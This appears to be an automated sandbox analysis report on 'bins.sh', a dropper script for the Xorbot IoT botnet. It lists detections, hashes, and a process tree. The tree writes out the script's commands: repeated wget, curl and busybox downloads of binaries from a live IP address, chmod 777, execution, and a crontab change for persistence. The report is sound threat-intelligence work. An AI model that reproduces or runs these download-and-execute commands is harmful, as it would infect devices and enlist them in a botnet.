Analysis

  • max time kernel
    150s
  • max time network
    154s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240226-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    28/02/2025, 19:17

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    1f4d23e931eb2509fb595dbf127fdfe2

  • SHA1

    bde31e4db33a17ed1e37364a26242e12f6b0bbbb

  • SHA256

    512c85432f47149b04a2620dea12b2520857884e398b886d768468a16ced73d5

  • SHA512

    b1ddd776c1e3cfd5d8de54ee3a1feece060b29b1db408fdefe679d1e37d41c4c21a7e7beb9b97f34552e7d03add2b35999311a50d8d50f10a1312fbcba7cfaf3

  • SSDEEP

    192:1N5dmvfK3Q3k3x3+3e3rzHkJpgD5B5Z5uFpYFwIva22k0iOaQCTjPLaL2Lzm+zw+:1N5dmvfK3Q3k3x3+3e3rzHkJpgDf7JFJ

Malware Config

Signatures

  • Detects Xorbot 8 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (1050) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 10 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 10 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 26 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:690
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:696
      • /usr/bin/wget
        wget http://37.44.238.88/bins/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
        2⤵
        • Writes file to tmp directory
        PID:698
      • /usr/bin/curl
        curl -O http://37.44.238.88/bins/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
        2⤵
        • Writes file to tmp directory
        PID:706
      • /bin/busybox
        /bin/busybox wget http://37.44.238.88/bins/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
        2⤵
        • Writes file to tmp directory
        PID:716
      • /bin/chmod
        chmod 777 tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
        2⤵
        • File and Directory Permissions Modification
        PID:719
      • /tmp/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
        ./tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
        2⤵
          PID:720
        • /bin/rm
          rm tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
          2⤵
            PID:723
          • /usr/bin/wget
            wget http://37.44.238.88/bins/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
            2⤵
            • Writes file to tmp directory
            PID:724
          • /usr/bin/curl
            curl -O http://37.44.238.88/bins/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
            2⤵
            • Writes file to tmp directory
            PID:726
          • /bin/busybox
            /bin/busybox wget http://37.44.238.88/bins/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
            2⤵
            • Writes file to tmp directory
            PID:727
          • /bin/chmod
            chmod 777 59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
            2⤵
            • File and Directory Permissions Modification
            PID:728
          • /tmp/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
            ./59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
            2⤵
              PID:729
            • /bin/rm
              rm 59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
              2⤵
                PID:731
              • /usr/bin/wget
                wget http://37.44.238.88/bins/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
                2⤵
                • Writes file to tmp directory
                PID:732
              • /usr/bin/curl
                curl -O http://37.44.238.88/bins/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
                2⤵
                • Writes file to tmp directory
                PID:733
              • /bin/busybox
                /bin/busybox wget http://37.44.238.88/bins/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
                2⤵
                • Writes file to tmp directory
                PID:734
              • /bin/chmod
                chmod 777 l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
                2⤵
                • File and Directory Permissions Modification
                PID:735
              • /tmp/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
                ./l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
                2⤵
                  PID:736
                • /bin/rm
                  rm l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
                  2⤵
                    PID:738
                  • /usr/bin/wget
                    wget http://37.44.238.88/bins/1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki
                    2⤵
                    • Writes file to tmp directory
                    PID:739
                  • /usr/bin/curl
                    curl -O http://37.44.238.88/bins/1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki
                    2⤵
                    • Writes file to tmp directory
                    PID:744
                  • /bin/busybox
                    /bin/busybox wget http://37.44.238.88/bins/1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki
                    2⤵
                    • Writes file to tmp directory
                    PID:754
                  • /bin/chmod
                    chmod 777 1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki
                    2⤵
                    • File and Directory Permissions Modification
                    PID:760
                  • /tmp/1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki
                    ./1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki
                    2⤵
                      PID:761
                    • /bin/rm
                      rm 1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki
                      2⤵
                        PID:765
                      • /usr/bin/wget
                        wget http://37.44.238.88/bins/z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:766
                      • /usr/bin/curl
                        curl -O http://37.44.238.88/bins/z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:773
                      • /bin/busybox
                        /bin/busybox wget http://37.44.238.88/bins/z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:781
                      • /bin/chmod
                        chmod 777 z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr
                        2⤵
                        • File and Directory Permissions Modification
                        PID:783
                      • /tmp/z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr
                        ./z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr
                        2⤵
                        • System Network Configuration Discovery
                        PID:785
                      • /bin/rm
                        rm z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr
                        2⤵
                        • System Network Configuration Discovery
                        PID:789
                      • /usr/bin/wget
                        wget http://37.44.238.88/bins/kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
                        2⤵
                        • Writes file to tmp directory
                        PID:790
                      • /usr/bin/curl
                        curl -O http://37.44.238.88/bins/kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
                        2⤵
                        • Writes file to tmp directory
                        PID:801
                      • /bin/busybox
                        /bin/busybox wget http://37.44.238.88/bins/kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
                        2⤵
                        • Writes file to tmp directory
                        PID:806
                      • /bin/chmod
                        chmod 777 kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
                        2⤵
                        • File and Directory Permissions Modification
                        PID:807
                      • /tmp/kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
                        ./kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
                        2⤵
                          PID:808
                        • /bin/rm
                          rm kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
                          2⤵
                            PID:810
                          • /usr/bin/wget
                            wget http://37.44.238.88/bins/MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA
                            2⤵
                            • Writes file to tmp directory
                            PID:811
                          • /usr/bin/curl
                            curl -O http://37.44.238.88/bins/MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA
                            2⤵
                            • Writes file to tmp directory
                            PID:812
                          • /bin/busybox
                            /bin/busybox wget http://37.44.238.88/bins/MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA
                            2⤵
                            • Writes file to tmp directory
                            PID:813
                          • /bin/chmod
                            chmod 777 MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA
                            2⤵
                            • File and Directory Permissions Modification
                            PID:814
                          • /tmp/MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA
                            ./MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA
                            2⤵
                              PID:815
                            • /bin/rm
                              rm MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA
                              2⤵
                                PID:817
                              • /usr/bin/wget
                                wget http://37.44.238.88/bins/y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q
                                2⤵
                                • Writes file to tmp directory
                                PID:818
                              • /usr/bin/curl
                                curl -O http://37.44.238.88/bins/y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q
                                2⤵
                                • Writes file to tmp directory
                                PID:819
                              • /bin/busybox
                                /bin/busybox wget http://37.44.238.88/bins/y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q
                                2⤵
                                • Writes file to tmp directory
                                PID:828
                              • /bin/chmod
                                chmod 777 y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q
                                2⤵
                                • File and Directory Permissions Modification
                                PID:830
                              • /tmp/y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q
                                ./y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q
                                2⤵
                                • Renames itself
                                • Reads runtime system information
                                PID:832
                                • /bin/sh
                                  sh -c "crontab -l"
                                  3⤵
                                    PID:834
                                    • /usr/bin/crontab
                                      crontab -l
                                      4⤵
                                        PID:835
                                    • /bin/sh
                                      sh -c "crontab -"
                                      3⤵
                                        PID:837
                                        • /usr/bin/crontab
                                          crontab -
                                          4⤵
                                          • Creates/modifies Cron job
                                          PID:838
                                    • /bin/rm
                                      rm y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q
                                      2⤵
                                        PID:841
                                      • /usr/bin/wget
                                        wget http://37.44.238.88/bins/wk7VTKwCVeEQJUdhBBXEYBpypx8AKzXuTR
                                        2⤵
                                          PID:845
                                        • /usr/bin/curl
                                          curl -O http://37.44.238.88/bins/wk7VTKwCVeEQJUdhBBXEYBpypx8AKzXuTR
                                          2⤵
                                            PID:847
                                          • /bin/busybox
                                            /bin/busybox wget http://37.44.238.88/bins/wk7VTKwCVeEQJUdhBBXEYBpypx8AKzXuTR
                                            2⤵
                                            • Writes file to tmp directory
                                            PID:850
                                          • /bin/chmod
                                            chmod 777 wk7VTKwCVeEQJUdhBBXEYBpypx8AKzXuTR
                                            2⤵
                                            • File and Directory Permissions Modification
                                            PID:853
                                          • /tmp/wk7VTKwCVeEQJUdhBBXEYBpypx8AKzXuTR
                                            ./wk7VTKwCVeEQJUdhBBXEYBpypx8AKzXuTR
                                            2⤵
                                              PID:855
                                            • /bin/rm
                                              rm wk7VTKwCVeEQJUdhBBXEYBpypx8AKzXuTR
                                              2⤵
                                                PID:856
                                              • /usr/bin/wget
                                                wget http://37.44.238.88/bins/MCWmH8qLGsVQZzvbYfRMovyxDSv25KlH75
                                                2⤵
                                                  PID:858
                                                • /usr/bin/curl
                                                  curl -O http://37.44.238.88/bins/MCWmH8qLGsVQZzvbYfRMovyxDSv25KlH75
                                                  2⤵
                                                    PID:859
                                                  • /bin/busybox
                                                    /bin/busybox wget http://37.44.238.88/bins/MCWmH8qLGsVQZzvbYfRMovyxDSv25KlH75
                                                    2⤵
                                                    • Writes file to tmp directory
                                                    PID:861
                                                  • /bin/chmod
                                                    chmod 777 MCWmH8qLGsVQZzvbYfRMovyxDSv25KlH75
                                                    2⤵
                                                    • File and Directory Permissions Modification
                                                    PID:865
                                                  • /tmp/MCWmH8qLGsVQZzvbYfRMovyxDSv25KlH75
                                                    ./MCWmH8qLGsVQZzvbYfRMovyxDSv25KlH75
                                                    2⤵
                                                      PID:866
                                                    • /bin/rm
                                                      rm MCWmH8qLGsVQZzvbYfRMovyxDSv25KlH75
                                                      2⤵
                                                        PID:870
                                                      • /usr/bin/wget
                                                        wget http://37.44.238.88/bins/j5pF2uRAfRIrxFbSnk6Wcqg8sFoHfAcw0f
                                                        2⤵
                                                          PID:871

                                                      Network

                                                      MITRE ATT&CK Enterprise v15

                                                      Replay Monitor

                                                      Loading Replay Monitor...

                                                      Downloads

                                                      • /tmp/1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki

                                                        Filesize

                                                        111KB

                                                        MD5

                                                        701e7a55a4f3650f5feee92a9860e5fc

                                                        SHA1

                                                        6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                                                        SHA256

                                                        ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                                                        SHA512

                                                        7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                                                      • /tmp/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv

                                                        Filesize

                                                        117KB

                                                        MD5

                                                        849fa04ef88a8e8de32cb2e8538de5fe

                                                        SHA1

                                                        c768af29fe4b6695fff1541623e8bbd1c6f242f7

                                                        SHA256

                                                        8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                                                        SHA512

                                                        2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                                                      • /tmp/MCWmH8qLGsVQZzvbYfRMovyxDSv25KlH75

                                                        Filesize

                                                        127KB

                                                        MD5

                                                        89077b7bd4bcafca7713be43635c4862

                                                        SHA1

                                                        fc02edb8fba29ea8ee99e6157ef8560334530052

                                                        SHA256

                                                        78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                                                        SHA512

                                                        1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                                                      • /tmp/MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA

                                                        Filesize

                                                        151KB

                                                        MD5

                                                        3c90d5820bddcf7c5d1bd21dfa49d958

                                                        SHA1

                                                        5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                                        SHA256

                                                        bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                                        SHA512

                                                        54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                                      • /tmp/kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX

                                                        Filesize

                                                        119KB

                                                        MD5

                                                        1b166b95f9cb4b079ef1b9ec8363ddf3

                                                        SHA1

                                                        0d8eb08add467b3b5474f9b25909297fe7c2839c

                                                        SHA256

                                                        94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                                                        SHA512

                                                        983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                                                      • /tmp/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E

                                                        Filesize

                                                        99KB

                                                        MD5

                                                        9438d9bc392bcf300a5583b6df5bc8f6

                                                        SHA1

                                                        375a6ae34b516f6f3eeea8030c4084f585017efa

                                                        SHA256

                                                        68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                                                        SHA512

                                                        1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                                                      • /tmp/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G

                                                        Filesize

                                                        107KB

                                                        MD5

                                                        eb9c3a0de91fcf16ba17cb24608df68c

                                                        SHA1

                                                        09d95a7d70d5e115d103be51edff7c498d272fac

                                                        SHA256

                                                        dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                                                        SHA512

                                                        9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                                                      • /tmp/wk7VTKwCVeEQJUdhBBXEYBpypx8AKzXuTR

                                                        Filesize

                                                        98KB

                                                        MD5

                                                        5141342d0df8699fa32a6b066a0c592e

                                                        SHA1

                                                        8157673225bd5182f16215e2aa823a25ca2d4fbc

                                                        SHA256

                                                        54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                                                        SHA512

                                                        d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                                                      • /tmp/y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q

                                                        Filesize

                                                        151KB

                                                        MD5

                                                        6c583043d91c55aa470c08c87058e917

                                                        SHA1

                                                        abf65a5b9bba69980278ad09356e53de8bb89439

                                                        SHA256

                                                        2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                                                        SHA512

                                                        82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                                                      • /tmp/z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr

                                                        Filesize

                                                        141KB

                                                        MD5

                                                        3ca8decdb1e52c423c521bfff02ac200

                                                        SHA1

                                                        8621ecd6807109b8541912ad9e134f6fb49bfd48

                                                        SHA256

                                                        dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                                                        SHA512

                                                        b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                                                      • /var/spool/cron/crontabs/tmp.0FxP4D

                                                        Filesize

                                                        210B

                                                        MD5

                                                        b44930c5f1db2a8f64c7551e06f12a2e

                                                        SHA1

                                                        c84c961c37cc9fb73cd2008881fdae05922af195

                                                        SHA256

                                                        430e9678f3fb3492f775e60e9927720a5dc157087b9a440ffd958040e5f73dd9

                                                        SHA512

                                                        bf31a24ee548d7726cddf5c8c2238e4b45435dd5325729c4b48d18aa98bf64cf5d1e9f4734b4147b5de47454e79d7cb708e9b89d11a171819b56d3195d10faec